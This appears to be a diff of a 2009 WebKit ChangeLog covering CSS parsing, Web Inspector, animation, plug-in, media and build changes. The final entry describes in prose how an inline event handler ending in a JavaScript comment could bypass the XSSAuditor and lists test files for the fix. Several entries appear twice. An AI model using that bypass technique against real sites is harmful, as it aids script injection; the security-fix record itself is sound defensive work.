+        Set m_hasBeenHalted.
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        @charset rule after the first byte causes the rest of css to be ignored
+        https://bugs.webkit.org/show_bug.cgi?id=18265
+
+        Apparently we're supposed to tolerate whitespace before the charset
+        rule so folks can write code like this:
+
+        <style>
+        @charset "utf-8"
+        ...
+        </style>
+
+        I'm told this is one of the top compatability problems in China.
+        Tests: fast/css/comment-before-charset-external.html
+               fast/css/comment-before-charset.html
+               fast/css/many-spaces-before-charset.html
+               fast/css/space-before-charset-external.html
+               fast/css/space-before-charset.html
+
+        * css/CSSGrammar.y:
+
+2009-10-16  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fixes part of <http://webkit.org/b/30412>.
+        Web Inspector should get human readable DOM Exceptions.
+
+        Add a description field to ExceptionBase, and call it through 
+        reportException which allows the user/developer to get a more detailed
+        and coherent error explanation through the Web Inspector.
+
+        This only applies to exceptions that come from a script on the page when
+        it is run. DOM Exceptions that come from the code run in the console, or DOM
+        exceptions that are caught and logged will come in a future patch.
+
+        Tests: inspector/uncaught-dom1-exception.html
+               inspector/uncaught-dom3-exception.html
+               inspector/uncaught-dom8-exception.html
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::reportException):
+        * bindings/js/JSExceptionBase.cpp: Added.
+        (WebCore::toExceptionBase):
+        * bindings/js/JSExceptionBase.h: Added.
+        * dom/ExceptionBase.cpp:
+        (WebCore::ExceptionBase::ExceptionBase):
+        * dom/ExceptionBase.h:
+        (WebCore::ExceptionBase::description):
+        * dom/ExceptionCode.cpp:
+        (WebCore::):
+        (WebCore::getExceptionCodeDescription):
+        * dom/ExceptionCode.h:
+
+2009-10-16  Geoffrey Garen  <ggaren@apple.com>
+
+        Build fix: forgot to check in this #include.
+
+        * bridge/runtime_root.h:
+
+2009-10-16  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Transform layer gets stuck with the wrong transform after an animation ends
+        <rdar://problem/7311662>
+
+        Work around a CoreAnimation bug which causes an animated transform layer to
+        end up with a stale transform.
+        
+        Test: compositing/animation/state-at-end-event-transform-layer.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::bug7311367Workaround):
+        (WebCore::GraphicsLayerCA::removeAnimationFromLayer):
+
+2009-10-16  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        After running a transition with an end event listener, can't change the transform
+        https://bugs.webkit.org/show_bug.cgi?id=30454
+        
+        Fix an issue where, if a document had any listener for webkitTransitionEnd or webkitAnimationEnd,
+        the animations would not get cleaned up correctly, which broke subsequent changes of transform.
+        
+        Now, we always clean up the animations right after queuing up the end events.
+
+        Tests: animations/state-at-end-event.html
+               transitions/move-after-transition.html
+
+        * page/animation/ImplicitAnimation.cpp:
+        (WebCore::ImplicitAnimation::onAnimationEnd):
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::onAnimationEnd):
+
+2009-10-15  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Handle the Enter Key in the Elements Tree Hierarchy
+        https://bugs.webkit.org/show_bug.cgi?id=30428
+
+        TextNode => Edit Text Node
+        Has Attributes => Edit First Attribute
+        No Attributes => Start Editing New Attribute
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.handleKeyEvent): handle the "Enter" key
+        (WebInspector.ElementsTreeElement.prototype.set hovered): only add new attribute button on nodes with attributes
+        (WebInspector.ElementsTreeElement.prototype._addNewAttribute): prevent moving backwards where there are no attributes
+        (WebInspector.ElementsTreeElement.prototype._startEditingFromEvent): renamed to be clearer
+        (WebInspector.ElementsTreeElement.prototype._startEditing): transition to the appropriate edit state for a tree element
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix header indent style for FrameLoader and friends
+        https://bugs.webkit.org/show_bug.cgi?id=30430
+
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::frame):
+        (WebCore::FrameLoader::policyChecker):
+        (WebCore::FrameLoader::history):
+        (WebCore::FrameLoader::notifier):
+        (WebCore::FrameLoader::isLoadingMainResource):
+        (WebCore::FrameLoader::documentLoader):
+        (WebCore::FrameLoader::policyDocumentLoader):
+        (WebCore::FrameLoader::provisionalDocumentLoader):
+        (WebCore::FrameLoader::state):
+        (WebCore::FrameLoader::client):
+        (WebCore::FrameLoader::url):
+        (WebCore::FrameLoader::isLoadingFromCachedPage):
+        (WebCore::FrameLoader::committingFirstRealLoad):
+        (WebCore::FrameLoader::committedFirstRealDocumentLoad):
+        (WebCore::FrameLoader::creatingInitialEmptyDocument):
+        * loader/HistoryController.h:
+        (WebCore::HistoryController::currentItem):
+        (WebCore::HistoryController::provisionalItem):
+        * loader/PolicyCallback.h:
+        (WebCore::PolicyCallback::request):
+        * loader/PolicyChecker.h:
+        (WebCore::PolicyChecker::loadType):
+        (WebCore::PolicyChecker::setLoadType):
+        (WebCore::PolicyChecker::delegateIsDecidingNavigationPolicy):
+        (WebCore::PolicyChecker::delegateIsHandlingUnimplementablePolicy):
+        * loader/RedirectScheduler.h:
+        * loader/ResourceLoadNotifier.h:
+
+2009-10-16  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Add a Debug_All configuration to build entire stack as debug.
+        Change Debug_Internal to:
+        - stop using _debug suffix for all WebKit/Safari binaries
+        - not use _debug as a DLL naming suffix
+        - use non-debug C runtime lib.
+
+        * WebCore.vcproj/QTMovieWin.vcproj: Add Debug_All configuration.
+        * WebCore.vcproj/WebCore.make: Debug build in makefile should build Debug_All.
+        * WebCore.vcproj/WebCore.sln: Add Debug_All configuration.
+        * WebCore.vcproj/WebCore.submit.sln: Add Debug_All configuration.
+        * WebCore.vcproj/WebCore.vcproj: Add Debug_All configuration.
+        * WebCore.vcproj/WebCoreGenerated.vcproj: Renamed single configuration from "Release" to "all".
+
+2009-10-16  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r49693, because it broke Chromium build.
+        http://trac.webkit.org/changeset/49693
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+
+2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        Updated media resource selection algorithm to reflect latest HTML 5 specification.
+
+        Noticable changes:
+            -  Elements with no source should have their network state set to NETWORK_EMPTY as opposed to NETWORK_NO_SOURCE
+            -  Empty string ("") is now considered a valid URL resolving to the current page and will be loaded
+
+        Tests: media/video-src-empty.html
+               media/video-src-none.html
+
+        https://bugs.webkit.org/show_bug.cgi?id=30407
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::selectMediaResource): Updated code and comments to match spec.
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Insecure plug-ins don't trigger mixed content
+        https://bugs.webkit.org/show_bug.cgi?id=30431
+
+        Added the missing check.
+
+        Test: http/tests/security/mixedContent/insecure-plugin-in-iframe.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadPlugin):
+
+2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        Set autobuffer to true and schedule load in V8 audio element constructor.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30448
+
+        Covered by existing tests.
+
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Set autobuffer to true and schedule load.
+
+2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove FIXME in RenderMediaControlsChromium as bug was fixed upstream.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30422
+
+        Covered by existing media layout tests.
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaSlider): Removed round() and FIXME.
+
+2009-10-16  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix Chromium media controls to render a disabled play button when the element is unintialized.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30410
+
+        Covered by existing layout tests.
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaPlayButton): Include check for NETWORK_EMPTY to render disabled play button.
+
+2009-10-16  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Make typeinfo flags default to false
+        https://bugs.webkit.org/show_bug.cgi?id=30372
+
+        Last part -- replace HasDefaultGetPropertyNames with OverridesGetPropertyNames
+        flag.
+
+        * bindings/js/JSDOMWindowShell.h:
+        (WebCore::JSDOMWindowShell::createStructure):
+        * bindings/js/JSHTMLAllCollection.h:
+        (WebCore::JSHTMLAllCollection::createStructure):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        (WebCore::JSQuarantinedObjectWrapper::createStructure):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/runtime_array.h:
+        (JSC::RuntimeArray::createStructure):
+        * bridge/runtime_object.h:
+        (JSC::RuntimeObjectImp::createStructure):
+
+2009-10-16  Steven Knight  <sgk@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30447
+        Handle long link lines by building .idl-generated bindings in a
+        separate webcore_bindings library target.  Avoid Visual Studio
+        dependency issues by building additional generated .cpp and .h files
+        in a separate webcore_bindings_sources target.
+
+        Chrome should still build and test successfully.
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+
+2009-10-16  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Eric Carlson.
+
+        Transform transitions that used to be accelerated are no longer so
+        https://bugs.webkit.org/show_bug.cgi?id=30453
+
+        The change in r49633, to not run accelerated animations/transitions on layers that
+        are not attached, broke accelerated transitions/animations in many cases where they start
+        as soon as the page loads. This change reverts the code that tests for the GraphicsLayer being
+        attached.
+        
+        No test, because it's not possible from a test to know whether a transition is accelerated or not.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::startAnimation):
+        (WebCore::RenderLayerBacking::startTransition):
+
+2009-10-16  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wxMSW build fix, build the MSW source to get methods that use the MSW version of
+        PlatformModuleVersion.
+
+        * wscript:
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed build fix.  Add back MIMETypeRegistryChromium with the right
+        casing.
+
+        * platform/chromium/MIMETypeRegistryChromium.cpp: Added.
+        (WebCore::MIMETypeRegistry::getMIMETypeForExtension):
+        (WebCore::MIMETypeRegistry::getPreferredExtensionForMIMEType):
+        (WebCore::MIMETypeRegistry::getMIMETypeForPath):
+        (WebCore::MIMETypeRegistry::isSupportedImageMIMEType):
+        (WebCore::MIMETypeRegistry::isSupportedImageResourceMIMEType):
+        (WebCore::MIMETypeRegistry::isSupportedImageMIMETypeForEncoding):
+        (WebCore::MIMETypeRegistry::isSupportedJavaScriptMIMEType):
+        (WebCore::MIMETypeRegistry::isSupportedNonImageMIMEType):
+        (WebCore::MIMETypeRegistry::isSupportedMediaMIMEType):
+        (WebCore::MIMETypeRegistry::isJavaAppletMIMEType):
+        (WebCore::MIMETypeRegistry::getMediaMIMETypeForExtension):
+        (WebCore::dummyHashSet):
+        (WebCore::MIMETypeRegistry::getSupportedImageMIMETypes):
+        (WebCore::MIMETypeRegistry::getSupportedImageResourceMIMETypes):
+        (WebCore::MIMETypeRegistry::getSupportedImageMIMETypesForEncoding):
+        (WebCore::MIMETypeRegistry::getSupportedNonImageMIMETypes):
+        (WebCore::MIMETypeRegistry::getSupportedMediaMIMETypes):
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        MimeTypeRegistryChromium is mis-casen
+        https://bugs.webkit.org/show_bug.cgi?id=30441
+
+        Change the case of MimeTypeRegistryChromium to match other platforms.
+
+        * WebCore.gypi:
+        * platform/chromium/MIMETypeRegistryChromium.cpp: Copied from WebCore/platform/chromium/MimeTypeRegistryChromium.cpp.
+        * platform/chromium/MimeTypeRegistryChromium.cpp: Removed.
+
+2009-10-16  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Change EmptyPluginHalterClient in SVGImage to be non-static, to
+        match changes made http://trac.webkit.org/changeset/49385.
+        https://bugs.webkit.org/show_bug.cgi?id=30403
+
+        Run the following layout test sequence:
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-01-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-03-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-04-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-05-b.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-06-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-07-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-08-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-09-t.svg
+          LayoutTests/svg/W3C-SVG-1.1/struct-image-10-t.svg
+          LayoutTests/svg/carto.net/scrollbar.svg
+          LayoutTests/svg/carto.net/selectionlist.svg
+
+        selectionlist.svg should not crash.
+
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::dataChanged): Made EmptyPluginHalterClient non-static.
+
+2009-10-16  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add beforeload event support to V8DOMWrapper
+
+        https://bugs.webkit.org/show_bug.cgi?id=30413
+
+        LayoutTests/fast/dom/beforeload/frame-before-load.html
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        MimeTypeRegistryChromium is mis-casen
+        https://bugs.webkit.org/show_bug.cgi?id=30441
+
+        Change the case of MimeTypeRegistryChromium to match other platforms.
+
+        * WebCore.gypi:
+        * platform/chromium/MIMETypeRegistryChromium.cpp: Copied from WebCore/platform/chromium/MimeTypeRegistryChromium.cpp.
+        * platform/chromium/MimeTypeRegistryChromium.cpp: Removed.
+
+2009-10-16  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Chrome doesn't set Content-Type for file upload when the file extension
+        is not recognized
+        https://bugs.webkit.org/show_bug.cgi?id=30433
+
+        Apparently, getMIMETypeForPath is supposed to return
+        application/octet-stream when it doesn't have a better MIME type.
+
+        * platform/chromium/MimeTypeRegistryChromium.cpp:
+        (WebCore::MIMETypeRegistry::getMIMETypeForPath):
+
+2009-10-16  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Pull out r49676 as it caused build breakges on Symbian
+
+        * plugins/symbian/PluginViewSymbian.cpp:
+
+2009-10-16  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        Crash fix when loading NPAPI plugins on Qt/Mac
+
+        There's no guarantee that the plist will be valid even if we
+        ask the plugin to create it. Crash obverved with iGetter.
+
+        * plugins/mac/PluginPackageMac.cpp:
+
+2009-10-15  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix for Chromium/skia's implementation of canvas's isPointInPath().
+        https://bugs.webkit.org/show_bug.cgi?id=30402
+
+        Covered by LayoutTests/fast/canvas/pointInPath.html.
+
+        * platform/graphics/skia/SkiaUtils.cpp:
+        (WebCore::SkPathContainsPoint):
+
+2009-10-15  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Factor ResourceLoadNotifier out of FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30379
+
+        These methods have virtually no interaction with the rest of
+        FrameLoader.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * dom/Document.cpp:
+        (WebCore::Document::resourceRetrievedByXMLHttpRequest):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
+        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
+        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
+        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::willSendRequest):
+        (WebCore::ResourceLoadNotifier::didReceiveResponse):
+        (WebCore::ResourceLoadNotifier::didReceiveData):
+        (WebCore::ResourceLoadNotifier::didFailToLoad):
+        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
+        (WebCore::FrameLoader::sendRemainingDelegateMessages):
+        (WebCore::FrameLoader::requestFromDelegate):
+        (WebCore::ResourceLoadNotifier::didFinishLoad):
+        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::notifier):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::receivedError):
+        * loader/ResourceLoadNotifier.cpp: Added.
+        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
+        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::willSendRequest):
+        (WebCore::ResourceLoadNotifier::didReceiveResponse):
+        (WebCore::ResourceLoadNotifier::didReceiveData):
+        (WebCore::ResourceLoadNotifier::didFinishLoad):
+        (WebCore::ResourceLoadNotifier::didFailToLoad):
+        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
+        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
+        * loader/ResourceLoadNotifier.h: Added.
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::willSendRequest):
+        (WebCore::ResourceLoader::didReceiveResponse):
+        (WebCore::ResourceLoader::didReceiveData):
+        (WebCore::ResourceLoader::didFinishLoadingOnePart):
+        (WebCore::ResourceLoader::didFail):
+        (WebCore::ResourceLoader::didCancel):
+        (WebCore::ResourceLoader::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceLoader::didCancelAuthenticationChallenge):
+
+2009-10-15  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Bug 30427 -  Remove unneeded methods in ChromiumDataObject
+        (https://bugs.webkit.org/show_bug.cgi?id=30427)
+        
+        Remove no longer needed methods from ChromiumDataObject.
+
+        No new tests (no functional change)
+
+        * platform/chromium/ChromiumDataObject.h:
+
+2009-10-16  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Need a way to inform the application when a Netscape plugin is created or deleted
+        https://bugs.webkit.org/show_bug.cgi?id=30179
+
+        Inform the application when a plugin is created or destroyed, but only if the 
+        application registered for these notifications.
+
+        * plugins/symbian/PluginViewSymbian.cpp:
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::platformDestroy):
+
+2009-10-16  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Default language translation should be determined by locale settings,
+        e.g., "en-US".
+        https://bugs.webkit.org/show_bug.cgi?id=29653
+
+        Test: fast/js/navigator-language.html
+
+        * platform/qt/Localizations.cpp:
+        (WebCore::defaultLanguage):
+
+2009-10-16  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        Crash fix when loading NPAPI plugins on Qt/Mac
+
+        There's no guarantee that the plist will be valid even if we
+        ask the plugin to create it. Crash obverved with iGetter.
+
+        * plugins/mac/PluginPackageMac.cpp:
+
+2009-10-15  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix for Chromium/skia's implementation of canvas's isPointInPath().
+        https://bugs.webkit.org/show_bug.cgi?id=30402
+
+        Covered by LayoutTests/fast/canvas/pointInPath.html.
+
+        * platform/graphics/skia/SkiaUtils.cpp:
+        (WebCore::SkPathContainsPoint):
+
+2009-10-15  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Factor ResourceLoadNotifier out of FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30379
+
+        These methods have virtually no interaction with the rest of
+        FrameLoader.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * dom/Document.cpp:
+        (WebCore::Document::resourceRetrievedByXMLHttpRequest):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
+        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
+        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
+        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::willSendRequest):
+        (WebCore::ResourceLoadNotifier::didReceiveResponse):
+        (WebCore::ResourceLoadNotifier::didReceiveData):
+        (WebCore::ResourceLoadNotifier::didFailToLoad):
+        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
+        (WebCore::FrameLoader::sendRemainingDelegateMessages):
+        (WebCore::FrameLoader::requestFromDelegate):
+        (WebCore::ResourceLoadNotifier::didFinishLoad):
+        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::notifier):
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::receivedError):
+        * loader/ResourceLoadNotifier.cpp: Added.
+        (WebCore::ResourceLoadNotifier::ResourceLoadNotifier):
+        (WebCore::ResourceLoadNotifier::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::didCancelAuthenticationChallenge):
+        (WebCore::ResourceLoadNotifier::assignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::willSendRequest):
+        (WebCore::ResourceLoadNotifier::didReceiveResponse):
+        (WebCore::ResourceLoadNotifier::didReceiveData):
+        (WebCore::ResourceLoadNotifier::didFinishLoad):
+        (WebCore::ResourceLoadNotifier::didFailToLoad):
+        (WebCore::ResourceLoadNotifier::didLoadResourceByXMLHttpRequest):
+        (WebCore::ResourceLoadNotifier::dispatchAssignIdentifierToInitialRequest):
+        (WebCore::ResourceLoadNotifier::dispatchWillSendRequest):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveResponse):
+        (WebCore::ResourceLoadNotifier::dispatchDidReceiveContentLength):
+        (WebCore::ResourceLoadNotifier::dispatchDidFinishLoading):
+        (WebCore::ResourceLoadNotifier::activeDocumentLoader):
+        * loader/ResourceLoadNotifier.h: Added.
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::willSendRequest):
+        (WebCore::ResourceLoader::didReceiveResponse):
+        (WebCore::ResourceLoader::didReceiveData):
+        (WebCore::ResourceLoader::didFinishLoadingOnePart):
+        (WebCore::ResourceLoader::didFail):
+        (WebCore::ResourceLoader::didCancel):
+        (WebCore::ResourceLoader::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceLoader::didCancelAuthenticationChallenge):
+
+2009-10-15  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Bug 30427 -  Remove unneeded methods in ChromiumDataObject
+        (https://bugs.webkit.org/show_bug.cgi?id=30427)
+        
+        Remove no longer needed methods from ChromiumDataObject.
+
+        No new tests (no functional change)
+
+        * platform/chromium/ChromiumDataObject.h:
+
+2009-10-15  Daniel Bates  <dbates@webkit.org>
+
+        No review, rolling out r49644.
+        http://trac.webkit.org/changeset/49644
+        
+        We need to think about this change some more. See bug #30418 
+        for more details.
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        (WebCore::XSSAuditor::canLoadObject):
+        (WebCore::XSSAuditor::canSetBaseElementURL):
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h:
+
+2009-10-14  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Add SPI to determine whether a node is a halted plug-in.
+
+        Part of <rdar://problem/7273354> Halted plug-ins should restart on
+        mouseover
+
+        https://bugs.webkit.org/show_bug.cgi?id=30151
+
+        Reviewed by Darin Adler.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+        Initialize m_isHalted.
+
+        * plugins/PluginView.h:
+        (WebCore::PluginView::isHalted):
+        Return m_isHalted.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::halt):
+        Set m_isHalted to true.
+        (WebCore::PluginView::restart):
+        clear m_isHalted.
+
+2009-10-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        [Qt] Build fix for QtWebKit after r49649.
+
+        Change JSC::HasNonDefaultMark to OverridesMarkChildren in createStructure function.
+
+        * bridge/qt/qt_runtime.h:
+        (JSC::Bindings::QtRuntimeMethod::createStructure):
+
+2009-10-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed - build fix.
+
+        Web Inspector: add file missing in r49648
+
+        * inspector/front-end/TestController.js: Added.
+        (WebInspector.TestController):
+        (WebInspector.TestController.prototype.waitUntilDone):
+        (WebInspector.TestController.prototype.notifyDone):
+        (WebInspector.evaluateForTestInFrontend):
+
+2009-10-15  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Make typeinfo flags default to false
+        https://bugs.webkit.org/show_bug.cgi?id=30372
+
+        Part 2 -- Reverse the TypeInfo HasDefaultMark flag to OverridesMarkChildren, etc
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::createStructure):
+        (WebCore::DOMConstructorObject::createStructure):
+        * bindings/js/JSDOMWindowShell.h:
+        (WebCore::JSDOMWindowShell::createStructure):
+        * bindings/js/JSHTMLAllCollection.h:
+        (WebCore::JSHTMLAllCollection::createStructure):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        (WebCore::JSQuarantinedObjectWrapper::createStructure):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/qt/qt_runtime.h:
+        (JSC::Bindings::QtRuntimeMethod::createStructure):
+        * bridge/runtime_method.h:
+        (JSC::RuntimeMethod::createStructure):
+
+2009-10-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: introduce test controller with waitUntilDone
+        on frontend side.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30400
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/TestController.js: Added.
+        (WebInspector.TestController):
+        (WebInspector.TestController.prototype.waitUntilDone):
+        (WebInspector.TestController.prototype.notifyDone):
+        (WebInspector.evaluateForTestInFrontend):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+
+2009-10-15  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27895
+        
+        Fixes an issue in which injecting an inline event handler whose value ends in a single-line
+        JavaScript comment can bypass the XSSAuditor. Similarly fixes this issue with respect to
+        the HTML Base element, HTML Object element, inline and external script tags, and
+        JavaScript multi-line variants of all of these attacks.
+
+        Tests: http/tests/security/xssAuditor/base-href-comment.html
+               http/tests/security/xssAuditor/iframe-javascript-url-comment.html
+               http/tests/security/xssAuditor/img-onerror-HTML-comment.html
+               http/tests/security/xssAuditor/img-onerror-comment.html
+               http/tests/security/xssAuditor/object-tag-comment.html
+               http/tests/security/xssAuditor/script-tag-comment-HTML-entity.html
+               http/tests/security/xssAuditor/script-tag-comment.html
